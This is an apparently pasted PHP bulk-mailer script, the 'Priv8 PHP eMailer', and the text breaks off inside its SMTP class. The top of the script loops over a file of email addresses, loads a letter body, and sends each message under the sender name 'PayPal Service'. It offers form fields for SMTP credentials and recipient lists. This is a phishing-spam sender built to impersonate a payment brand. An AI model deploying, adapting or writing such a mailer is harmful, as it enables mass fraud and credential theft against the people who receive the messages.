· 9 years ago · Aug 15, 2017, 06:28 AM
1<?php
2
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14
15$emails_file = file("emails.txt");
16foreach($emails_file as $zemail){
17
18$_POST['emaillist'] = $zemail;
19$_POST['action'] = true;
20
21$_POST['message'] = file_get_contents("letter.txt");
22$_POST['subject'] = "helloworld!";
23$_POST['from'] = "hellowor@x.com";
24$_POST['realname'] = "PayPal Service";
25
26if(isset($_POST['action'] ) ){
27
28
29$b = query_str($_POST);
30parse_str($b);
31$sslclick=lrtrim($sslclick);
32$action=lrtrim($action);
33$message=lrtrim($message);
34$emaillist=lrtrim($emaillist);
35$from=lrtrim($from);
36$reconnect=lrtrim($reconnect);
37$epriority=lrtrim($epriority);
38$my_smtp=lrtrim($my_smtp);
39$ssl_port=lrtrim($ssl_port);
40$smtp_username=lrtrim($smtp_username);
41$smtp_password=lrtrim($smtp_password);
42$replyto=lrtrim($replyto);
43$subject=lrtrim($subject);
44$realname=lrtrim($realname);
45$file_name=lrtrim($file);
46$urlz=lrtrim($urlz);
47$contenttype=lrtrim($contenttype);
48
49 $message = urlencode($message);
50 $message = str_replace("%5C%22", "%22", $message);
51 $message = urldecode($message);
52 $message = stripslashes($message);
53 $subject = stripslashes($subject);
54}}
55
56
57?>
58
59<html>
60
61<head>
62
63<title>{*oo*}vs(o_o)</title>
64
65<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
66
67<style type="text/css">
68<!--
69.style1 {
70 font-family: Geneva, Arial, Helvetica, sans-serif;
71 font-size: 12px;
72}
73-->
74</style>
75<style type="text/css">
76<!--
77.style1 {
78 font-size: 10px;
79 font-family: Geneva, Arial, Helvetica, sans-serif;
80}
81-->
82</style>
83</head>
84<body bgcolor="#FFFFFF" text="#000000">
85<span class="style1">Priv8 PHP eMailer is created by MeGo<br>
86 <font color=\"#800000\">EG5-@hotmail.com</font></span>
87
88<form name="form1" method="post" action="" enctype="multipart/form-data">
89
90 <br>
91
92 <table width="100%" border="0" height="407">
93
94 <tr>
95
96 <td width="100%" colspan="4" bgcolor="#666666" height="36">
97
98 <b>
99
100 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
101
102 </tr>
103 <tr>
104
105 <td width="10%" height="22" bgcolor="#E8E8E8">
106
107 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
108
109 </td>
110
111 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
112
113 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
114
115 </font></td>
116
117 <td width="31%" height="22" bgcolor="#E8E8E8">
118
119 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
120
121 </td>
122
123 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
124
125 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
126
127 </font></td>
128
129 </tr>
130 <tr>
131
132 <td width="10%" height="22" bgcolor="#E8E8E8">
133
134 <div align="right">
135 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
136
137 </td>
138
139 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
140
141 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
142 (optional)</font></td>
143
144 <td width="31%" height="22" bgcolor="#E8E8E8">
145
146 <div align="right">
147 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
148 Smtp:</font></div>
149
150 </td>
151
152 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
153
154 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
155
156 </font></td>
157
158 </tr>
159 <tr>
160
161 <td width="10%" height="22" bgcolor="#E8E8E8">
162
163 <p align="right">
164 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
165
166 <td width="18%" height="22" bgcolor="#E8E8E8">
167 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
168
169 <td width="31%" height="22" bgcolor="#E8E8E8">
170
171 <p align="right">
172 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
173 After:</font></td>
174
175 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
176
177 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
178 EMAILS</font></td>
179
180 </tr>
181 <tr>
182
183 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
184
185 <p align="center">
186 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
187 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
188
189 </tr>
190
191 <tr>
192
193 <td width="10%" height="19">
194
195 </td>
196
197 <td width="18%" height="19"> </td>
198
199 <td width="31%" height="19">
200
201 </td>
202
203 <td width="41%" height="19"> </td>
204
205 </tr>
206
207 <tr>
208
209 <td width="100%" colspan="4" bgcolor="#666666" height="36">
210
211 <b>
212
213 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
214
215 </tr>
216
217 <tr>
218
219 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
220
221 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
222
223 Email:</font></div>
224
225 </td>
226
227 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
228
229 <input type="text" name="from" value="<?=$from;?>" size="30">
230
231 </font></td>
232
233 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
234
235 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
236
237 Name:</font></div>
238
239 </td>
240
241 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
242
243 <input type="text" name="realname" value="<?=$realname;?>" size="30">
244
245 </font></td>
246
247 </tr>
248 <tr>
249
250 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
251
252 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
253
254 </td>
255
256 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
257
258 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
259
260 </font></td>
261
262 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
263
264 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
265 Email Priority:</font></td>
266
267 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
268
269 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
270 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
271 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
272 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
273 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
274 </select></td>
275
276 </tr>
277
278 <tr>
279
280 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
281
282 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
283
284 </td>
285
286 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
287
288 <input type="text" name="subject" value="<?=$subject;?>" size="90">
289
290 </font></td>
291
292 </tr>
293
294 <tr>
295
296 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
297
298 </td>
299
300 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
301
302 </font></td>
303
304 </tr>
305
306 <tr valign="top">
307
308<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
309
310 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
311
312 <br>
313
314 <input type="radio" name="contenttype" value="plain" >
315
316 Plain
317
318 <input type="radio" name="contenttype" value="html" checked>
319
320 HTML
321
322 <input type="hidden" name="action" value="send">
323
324 <input type="submit" value="Send Message">
325
326 </font></td>
327
328 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
329
330 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
331
332 </font></td>
333
334 </tr>
335
336 </table>
337
338</form>
339
340
341
342<?
343
344if ($action){
345 if (!$from && !$subject && !$message && !$emaillist){
346 print "<script>alert('Please complete all fields before sending your message.'); </script>";
347 die(); }
348
349class SMTP
350{
351 /**
352 * SMTP server port
353 * @var int
354 */
355 var $SMTP_PORT = 25;
356
357 /**
358 * SMTP reply line ending
359 * @var string
360 */
361 var $CRLF = "\r\n";
362
363 /**
364 * Sets whether debugging is turned on
365 * @var bool
366 */
367 var $do_debug; # the level of debug to perform
368
369 /**
370 * Sets VERP use on/off (default is off)
371 * @var bool
372 */
373 var $do_verp = false;
374
375 /**#@+
376 * @access private
377 */
378 var $smtp_conn; # the socket to the server
379 var $error; # error if any on the last call
380 var $helo_rply; # the reply the server sent to us for HELO
381 /**#@-*/
382
383 /**
384 * Initialize the class so that the data is in a known state.
385 * @access public
386 * @return void
387 */
388 function SMTP() {
389 $this->smtp_conn = 0;
390 $this->error = null;
391 $this->helo_rply = null;
392
393 $this->do_debug = 0;
394 }
395
396 /*************************************************************
397 * CONNECTION FUNCTIONS *
398 ***********************************************************/
399
400 /**
401 * Connect to the server specified on the port specified.
402 * If the port is not specified use the default SMTP_PORT.
403 * If tval is specified then a connection will try and be
404 * established with the server for that number of seconds.
405 * If tval is not specified the default is 30 seconds to
406 * try on the connection.
407 *
408 * SMTP CODE SUCCESS: 220
409 * SMTP CODE FAILURE: 421
410 * @access public
411 * @return bool
412 */
413 function Connect($host,$port=0,$tval=30) {
414 # set the error val to null so there is no confusion
415 $this->error = null;
416
417 # make sure we are __not__ connected
418 if($this->connected()) {
419 # ok we are connected! what should we do?
420 # for now we will just give an error saying we
421 # are already connected
422 $this->error = array("error" => "Already connected to a server");
423 return false;
424 }
425
426 if(empty($port)) {
427 $port = $this->SMTP_PORT;
428 }
429
430 #connect to the smtp server
431 $this->smtp_conn = fsockopen($host, # the host of the server
432 $port, # the port to use
433 $errno, # error number if any
434 $errstr, # error message if any
435 $tval); # give up after ? secs
436 # verify we connected properly
437 if(empty($this->smtp_conn)) {
438 $this->error = array("error" => "Failed to connect to server",
439 "errno" => $errno,
440 "errstr" => $errstr);
441 if($this->do_debug >= 1) {
442 echo "SMTP -> ERROR: " . $this->error["error"] .
443 ": $errstr ($errno)" . $this->CRLF;
444 }
445 return false;
446 }
447
448 # sometimes the SMTP server takes a little longer to respond
449 # so we will give it a longer timeout for the first read
450 // Windows still does not have support for this timeout function
451 if(substr(PHP_OS, 0, 3) != "WIN")
452 socket_set_timeout($this->smtp_conn, $tval, 0);
453
454 # get any announcement stuff
455 $announce = $this->get_lines();
456
457 # set the timeout of any socket functions at 1/10 of a second
458 //if(function_exists("socket_set_timeout"))
459 // socket_set_timeout($this->smtp_conn, 0, 100000);
460
461 if($this->do_debug >= 2) {
462 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
463 }
464
465 return true;
466 }
467
468 /**
469 * Performs SMTP authentication. Must be run after running the
470 * Hello() method. Returns true if successfully authenticated.
471 * @access public
472 * @return bool
473 */
474 function Authenticate($username, $password) {
475 // Start authentication
476 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
477
478 $rply = $this->get_lines();
479 $code = substr($rply,0,3);
480
481 if($code != 334) {
482 $this->error =
483 array("error" => "AUTH not accepted from server",
484 "smtp_code" => $code,
485 "smtp_msg" => substr($rply,4));
486 if($this->do_debug >= 1) {
487 echo "SMTP -> ERROR: " . $this->error["error"] .
488 ": " . $rply . $this->CRLF;
489 }
490 return false;
491 }
492
493 // Send encoded username
494 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
495
496 $rply = $this->get_lines();
497 $code = substr($rply,0,3);
498
499 if($code != 334) {
500 $this->error =
501 array("error" => "Username not accepted from server",
502 "smtp_code" => $code,
503 "smtp_msg" => substr($rply,4));
504 if($this->do_debug >= 1) {
505 echo "SMTP -> ERROR: " . $this->error["error"] .
506 ": " . $rply . $this->CRLF;
507 }
508 return false;
509 }
510
511 // Send encoded password
512 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
513
514 $rply = $this->get_lines();
515 $code = substr($rply,0,3);
516
517 if($code != 235) {
518 $this->error =
519 array("error" => "Password not accepted from server",
520 "smtp_code" => $code,
521 "smtp_msg" => substr($rply,4));
522 if($this->do_debug >= 1) {
523 echo "SMTP -> ERROR: " . $this->error["error"] .
524 ": " . $rply . $this->CRLF;
525 }
526 return false;
527 }
528
529 return true;
530 }
531
532 /**
533 * Returns true if connected to a server otherwise false
534 * @access private
535 * @return bool
536 */
537 function Connected() {
538 if(!empty($this->smtp_conn)) {
539 $sock_status = socket_get_status($this->smtp_conn);
540 if($sock_status["eof"]) {
541 # hmm this is an odd situation... the socket is
542 # valid but we are not connected anymore
543 if($this->do_debug >= 1) {
544 echo "SMTP -> NOTICE:" . $this->CRLF .
545 "EOF caught while checking if connected";
546 }
547 $this->Close();
548 return false;
549 }
550 return true; # everything looks good
551 }
552 return false;
553 }
554
555 /**
556 * Closes the socket and cleans up the state of the class.
557 * It is not considered good to use this function without
558 * first trying to use QUIT.
559 * @access public
560 * @return void
561 */
562 function Close() {
563 $this->error = null; # so there is no confusion
564 $this->helo_rply = null;
565 if(!empty($this->smtp_conn)) {
566 # close the connection and cleanup
567 fclose($this->smtp_conn);
568 $this->smtp_conn = 0;
569 }
570 }
571
572 /***************************************************************
573 * SMTP COMMANDS *
574 *************************************************************/
575
576 /**
577 * Issues a data command and sends the msg_data to the server
578 * finializing the mail transaction. $msg_data is the message
579 * that is to be send with the headers. Each header needs to be
580 * on a single line followed by a <CRLF> with the message headers
581 * and the message body being seperated by and additional <CRLF>.
582 *
583 * Implements rfc 821: DATA <CRLF>
584 *
585 * SMTP CODE INTERMEDIATE: 354
586 * [data]
587 * <CRLF>.<CRLF>
588 * SMTP CODE SUCCESS: 250
589 * SMTP CODE FAILURE: 552,554,451,452
590 * SMTP CODE FAILURE: 451,554
591 * SMTP CODE ERROR : 500,501,503,421
592 * @access public
593 * @return bool
594 */
595 function Data($msg_data) {
596 $this->error = null; # so no confusion is caused
597
598 if(!$this->connected()) {
599 $this->error = array(
600 "error" => "Called Data() without being connected");
601 return false;
602 }
603
604 fputs($this->smtp_conn,"DATA" . $this->CRLF);
605
606 $rply = $this->get_lines();
607 $code = substr($rply,0,3);
608
609 if($this->do_debug >= 2) {
610 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
611 }
612
613 if($code != 354) {
614 $this->error =
615 array("error" => "DATA command not accepted from server",
616 "smtp_code" => $code,
617 "smtp_msg" => substr($rply,4));
618 if($this->do_debug >= 1) {
619 echo "SMTP -> ERROR: " . $this->error["error"] .
620 ": " . $rply . $this->CRLF;
621 }
622 return false;
623 }
624
625 # the server is ready to accept data!
626 # according to rfc 821 we should not send more than 1000
627 # including the CRLF
628 # characters on a single line so we will break the data up
629 # into lines by \r and/or \n then if needed we will break
630 # each of those into smaller lines to fit within the limit.
631 # in addition we will be looking for lines that start with
632 # a period '.' and append and additional period '.' to that
633 # line. NOTE: this does not count towards are limit.
634
635 # normalize the line breaks so we know the explode works
636 $msg_data = str_replace("\r\n","\n",$msg_data);
637 $msg_data = str_replace("\r","\n",$msg_data);
638 $lines = explode("\n",$msg_data);
639
640 # we need to find a good way to determine is headers are
641 # in the msg_data or if it is a straight msg body
642 # currently I am assuming rfc 822 definitions of msg headers
643 # and if the first field of the first line (':' sperated)
644 # does not contain a space then it _should_ be a header
645 # and we can process all lines before a blank "" line as
646 # headers.
647 $field = substr($lines[0],0,strpos($lines[0],":"));
648 $in_headers = false;
649 if(!empty($field) && !strstr($field," ")) {
650 $in_headers = true;
651 }
652
653 $max_line_length = 998; # used below; set here for ease in change
654
655 while(list(,$line) = @each($lines)) {
656 $lines_out = null;
657 if($line == "" && $in_headers) {
658 $in_headers = false;
659 }
660 # ok we need to break this line up into several
661 # smaller lines
662 while(strlen($line) > $max_line_length) {
663 $pos = strrpos(substr($line,0,$max_line_length)," ");
664
665 # Patch to fix DOS attack
666 if(!$pos) {
667 $pos = $max_line_length - 1;
668 }
669
670 $lines_out[] = substr($line,0,$pos);
671 $line = substr($line,$pos + 1);
672 # if we are processing headers we need to
673 # add a LWSP-char to the front of the new line
674 # rfc 822 on long msg headers
675 if($in_headers) {
676 $line = "\t" . $line;
677 }
678 }
679 $lines_out[] = $line;
680
681 # now send the lines to the server
682 while(list(,$line_out) = @each($lines_out)) {
683 if(strlen($line_out) > 0)
684 {
685 if(substr($line_out, 0, 1) == ".") {
686 $line_out = "." . $line_out;
687 }
688 }
689 fputs($this->smtp_conn,$line_out . $this->CRLF);
690 }
691 }
692
693 # ok all the message data has been sent so lets get this
694 # over with aleady
695 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
696
697 $rply = $this->get_lines();
698 $code = substr($rply,0,3);
699
700 if($this->do_debug >= 2) {
701 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
702 }
703
704 if($code != 250) {
705 $this->error =
706 array("error" => "DATA not accepted from server",
707 "smtp_code" => $code,
708 "smtp_msg" => substr($rply,4));
709 if($this->do_debug >= 1) {
710 echo "SMTP -> ERROR: " . $this->error["error"] .
711 ": " . $rply . $this->CRLF;
712 }
713 return false;
714 }
715 return true;
716 }
717
718 /**
719 * Expand takes the name and asks the server to list all the
720 * people who are members of the _list_. Expand will return
721 * back and array of the result or false if an error occurs.
722 * Each value in the array returned has the format of:
723 * [ <full-name> <sp> ] <path>
724 * The definition of <path> is defined in rfc 821
725 *
726 * Implements rfc 821: EXPN <SP> <string> <CRLF>
727 *
728 * SMTP CODE SUCCESS: 250
729 * SMTP CODE FAILURE: 550
730 * SMTP CODE ERROR : 500,501,502,504,421
731 * @access public
732 * @return string array
733 */
734 function Expand($name) {
735 $this->error = null; # so no confusion is caused
736
737 if(!$this->connected()) {
738 $this->error = array(
739 "error" => "Called Expand() without being connected");
740 return false;
741 }
742
743 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
744
745 $rply = $this->get_lines();
746 $code = substr($rply,0,3);
747
748 if($this->do_debug >= 2) {
749 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
750 }
751
752 if($code != 250) {
753 $this->error =
754 array("error" => "EXPN not accepted from server",
755 "smtp_code" => $code,
756 "smtp_msg" => substr($rply,4));
757 if($this->do_debug >= 1) {
758 echo "SMTP -> ERROR: " . $this->error["error"] .
759 ": " . $rply . $this->CRLF;
760 }
761 return false;
762 }
763
764 # parse the reply and place in our array to return to user
765 $entries = explode($this->CRLF,$rply);
766 while(list(,$l) = @each($entries)) {
767 $list[] = substr($l,4);
768 }
769
770 return $list;
771 }
772
773 /**
774 * Sends the HELO command to the smtp server.
775 * This makes sure that we and the server are in
776 * the same known state.
777 *
778 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
779 *
780 * SMTP CODE SUCCESS: 250
781 * SMTP CODE ERROR : 500, 501, 504, 421
782 * @access public
783 * @return bool
784 */
785 function Hello($host="") {
786 $this->error = null; # so no confusion is caused
787
788 if(!$this->connected()) {
789 $this->error = array(
790 "error" => "Called Hello() without being connected");
791 return false;
792 }
793
794 # if a hostname for the HELO was not specified determine
795 # a suitable one to send
796 if(empty($host)) {
797 # we need to determine some sort of appopiate default
798 # to send to the server
799 $host = "localhost";
800 }
801
802 // Send extended hello first (RFC 2821)
803 if(!$this->SendHello("EHLO", $host))
804 {
805 if(!$this->SendHello("HELO", $host))
806 return false;
807 }
808
809 return true;
810 }
811
812 /**
813 * Sends a HELO/EHLO command.
814 * @access private
815 * @return bool
816 */
817 function SendHello($hello, $host) {
818 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
819
820 $rply = $this->get_lines();
821 $code = substr($rply,0,3);
822
823 if($this->do_debug >= 2) {
824 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
825 }
826
827 if($code != 250) {
828 $this->error =
829 array("error" => $hello . " not accepted from server",
830 "smtp_code" => $code,
831 "smtp_msg" => substr($rply,4));
832 if($this->do_debug >= 1) {
833 echo "SMTP -> ERROR: " . $this->error["error"] .
834 ": " . $rply . $this->CRLF;
835 }
836 return false;
837 }
838
839 $this->helo_rply = $rply;
840
841 return true;
842 }
843
844 /**
845 * Gets help information on the keyword specified. If the keyword
846 * is not specified then returns generic help, ussually contianing
847 * A list of keywords that help is available on. This function
848 * returns the results back to the user. It is up to the user to
849 * handle the returned data. If an error occurs then false is
850 * returned with $this->error set appropiately.
851 *
852 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
853 *
854 * SMTP CODE SUCCESS: 211,214
855 * SMTP CODE ERROR : 500,501,502,504,421
856 * @access public
857 * @return string
858 */
859 function Help($keyword="") {
860 $this->error = null; # to avoid confusion
861
862 if(!$this->connected()) {
863 $this->error = array(
864 "error" => "Called Help() without being connected");
865 return false;
866 }
867
868 $extra = "";
869 if(!empty($keyword)) {
870 $extra = " " . $keyword;
871 }
872
873 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
874
875 $rply = $this->get_lines();
876 $code = substr($rply,0,3);
877
878 if($this->do_debug >= 2) {
879 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
880 }
881
882 if($code != 211 && $code != 214) {
883 $this->error =
884 array("error" => "HELP not accepted from server",
885 "smtp_code" => $code,
886 "smtp_msg" => substr($rply,4));
887 if($this->do_debug >= 1) {
888 echo "SMTP -> ERROR: " . $this->error["error"] .
889 ": " . $rply . $this->CRLF;
890 }
891 return false;
892 }
893
894 return $rply;
895 }
896
897 /**
898 * Starts a mail transaction from the email address specified in
899 * $from. Returns true if successful or false otherwise. If True
900 * the mail transaction is started and then one or more Recipient
901 * commands may be called followed by a Data command.
902 *
903 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
904 *
905 * SMTP CODE SUCCESS: 250
906 * SMTP CODE SUCCESS: 552,451,452
907 * SMTP CODE SUCCESS: 500,501,421
908 * @access public
909 * @return bool
910 */
911 function Mail($from) {
912 $this->error = null; # so no confusion is caused
913
914 if(!$this->connected()) {
915 $this->error = array(
916 "error" => "Called Mail() without being connected");
917 return false;
918 }
919
920 $useVerp = ($this->do_verp ? "XVERP" : "");
921 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
922
923 $rply = $this->get_lines();
924 $code = substr($rply,0,3);
925
926 if($this->do_debug >= 2) {
927 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
928 }
929
930 if($code != 250) {
931 $this->error =
932 array("error" => "MAIL not accepted from server",
933 "smtp_code" => $code,
934 "smtp_msg" => substr($rply,4));
935 if($this->do_debug >= 1) {
936 echo "SMTP -> ERROR: " . $this->error["error"] .
937 ": " . $rply . $this->CRLF;
938 }
939 return false;
940 }
941 return true;
942 }
943
944 /**
945 * Sends the command NOOP to the SMTP server.
946 *
947 * Implements from rfc 821: NOOP <CRLF>
948 *
949 * SMTP CODE SUCCESS: 250
950 * SMTP CODE ERROR : 500, 421
951 * @access public
952 * @return bool
953 */
954 function Noop() {
955 $this->error = null; # so no confusion is caused
956
957 if(!$this->connected()) {
958 $this->error = array(
959 "error" => "Called Noop() without being connected");
960 return false;
961 }
962
963 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
964
965 $rply = $this->get_lines();
966 $code = substr($rply,0,3);
967
968 if($this->do_debug >= 2) {
969 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
970 }
971
972 if($code != 250) {
973 $this->error =
974 array("error" => "NOOP not accepted from server",
975 "smtp_code" => $code,
976 "smtp_msg" => substr($rply,4));
977 if($this->do_debug >= 1) {
978 echo "SMTP -> ERROR: " . $this->error["error"] .
979 ": " . $rply . $this->CRLF;
980 }
981 return false;
982 }
983 return true;
984 }
985
986 /**
987 * Sends the quit command to the server and then closes the socket
988 * if there is no error or the $close_on_error argument is true.
989 *
990 * Implements from rfc 821: QUIT <CRLF>
991 *
992 * SMTP CODE SUCCESS: 221
993 * SMTP CODE ERROR : 500
994 * @access public
995 * @return bool
996 */
997 function Quit($close_on_error=true) {
998 $this->error = null; # so there is no confusion
999
1000 if(!$this->connected()) {
1001 $this->error = array(
1002 "error" => "Called Quit() without being connected");
1003 return false;
1004 }
1005
1006 # send the quit command to the server
1007 fputs($this->smtp_conn,"quit" . $this->CRLF);
1008
1009 # get any good-bye messages
1010 $byemsg = $this->get_lines();
1011
1012 if($this->do_debug >= 2) {
1013 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1014 }
1015
1016 $rval = true;
1017 $e = null;
1018
1019 $code = substr($byemsg,0,3);
1020 if($code != 221) {
1021 # use e as a tmp var cause Close will overwrite $this->error
1022 $e = array("error" => "SMTP server rejected quit command",
1023 "smtp_code" => $code,
1024 "smtp_rply" => substr($byemsg,4));
1025 $rval = false;
1026 if($this->do_debug >= 1) {
1027 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1028 $byemsg . $this->CRLF;
1029 }
1030 }
1031
1032 if(empty($e) || $close_on_error) {
1033 $this->Close();
1034 }
1035
1036 return $rval;
1037 }
1038
1039 /**
1040 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1041 * Returns true if the recipient was accepted false if it was rejected.
1042 *
1043 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1044 *
1045 * SMTP CODE SUCCESS: 250,251
1046 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1047 * SMTP CODE ERROR : 500,501,503,421
1048 * @access public
1049 * @return bool
1050 */
1051 function Recipient($to) {
1052 $this->error = null; # so no confusion is caused
1053
1054 if(!$this->connected()) {
1055 $this->error = array(
1056 "error" => "Called Recipient() without being connected");
1057 return false;
1058 }
1059
1060 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1061
1062 $rply = $this->get_lines();
1063 $code = substr($rply,0,3);
1064
1065 if($this->do_debug >= 2) {
1066 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1067 }
1068
1069 if($code != 250 && $code != 251) {
1070 $this->error =
1071 array("error" => "RCPT not accepted from server",
1072 "smtp_code" => $code,
1073 "smtp_msg" => substr($rply,4));
1074 if($this->do_debug >= 1) {
1075 echo "SMTP -> ERROR: " . $this->error["error"] .
1076 ": " . $rply . $this->CRLF;
1077 }
1078 return false;
1079 }
1080 return true;
1081 }
1082
1083 /**
1084 * Sends the RSET command to abort and transaction that is
1085 * currently in progress. Returns true if successful false
1086 * otherwise.
1087 *
1088 * Implements rfc 821: RSET <CRLF>
1089 *
1090 * SMTP CODE SUCCESS: 250
1091 * SMTP CODE ERROR : 500,501,504,421
1092 * @access public
1093 * @return bool
1094 */
1095 function Reset() {
1096 $this->error = null; # so no confusion is caused
1097
1098 if(!$this->connected()) {
1099 $this->error = array(
1100 "error" => "Called Reset() without being connected");
1101 return false;
1102 }
1103
1104 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1105
1106 $rply = $this->get_lines();
1107 $code = substr($rply,0,3);
1108
1109 if($this->do_debug >= 2) {
1110 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1111 }
1112
1113 if($code != 250) {
1114 $this->error =
1115 array("error" => "RSET failed",
1116 "smtp_code" => $code,
1117 "smtp_msg" => substr($rply,4));
1118 if($this->do_debug >= 1) {
1119 echo "SMTP -> ERROR: " . $this->error["error"] .
1120 ": " . $rply . $this->CRLF;
1121 }
1122 return false;
1123 }
1124
1125 return true;
1126 }
1127
1128 /**
1129 * Starts a mail transaction from the email address specified in
1130 * $from. Returns true if successful or false otherwise. If True
1131 * the mail transaction is started and then one or more Recipient
1132 * commands may be called followed by a Data command. This command
1133 * will send the message to the users terminal if they are logged
1134 * in.
1135 *
1136 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1137 *
1138 * SMTP CODE SUCCESS: 250
1139 * SMTP CODE SUCCESS: 552,451,452
1140 * SMTP CODE SUCCESS: 500,501,502,421
1141 * @access public
1142 * @return bool
1143 */
1144 function Send($from) {
1145 $this->error = null; # so no confusion is caused
1146
1147 if(!$this->connected()) {
1148 $this->error = array(
1149 "error" => "Called Send() without being connected");
1150 return false;
1151 }
1152
1153 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1154
1155 $rply = $this->get_lines();
1156 $code = substr($rply,0,3);
1157
1158 if($this->do_debug >= 2) {
1159 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1160 }
1161
1162 if($code != 250) {
1163 $this->error =
1164 array("error" => "SEND not accepted from server",
